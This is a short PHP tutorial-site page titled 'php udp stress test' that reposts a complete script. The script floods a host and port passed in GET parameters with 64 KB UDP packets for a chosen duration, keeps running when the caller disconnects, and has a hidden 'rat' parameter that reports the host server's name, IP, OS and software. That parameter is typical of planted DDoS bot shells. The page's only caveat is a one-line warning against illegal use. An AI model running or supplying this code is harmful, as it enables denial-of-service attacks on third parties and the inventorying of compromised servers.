Home  >  Article  >  Backend Development  >  php udp stress test

php udp stress test

WBOY
WBOYOriginal
2016-08-08 09:30:581183browse
<?php
set_time_limit(984918);
$host = $_GET[&#39;host&#39;];//对方ip
$port = $_GET[&#39;port&#39;];//端口
$exec_time = $_GET[&#39;time&#39;];//持续时长
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET[&#39;rat&#39;])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
for($i=0;$i<$Sendlen;$i++){
        $out .= "B";
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
transferred from the Internet. Please do not use it for illegal purposes! Otherwise, there will be consequences at your own risk!

The above introduces the php udp stress test, including the content. I hope it will be helpful to friends who are interested in PHP tutorials.

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Previous article:Nginx event moduleNext article:Nginx event module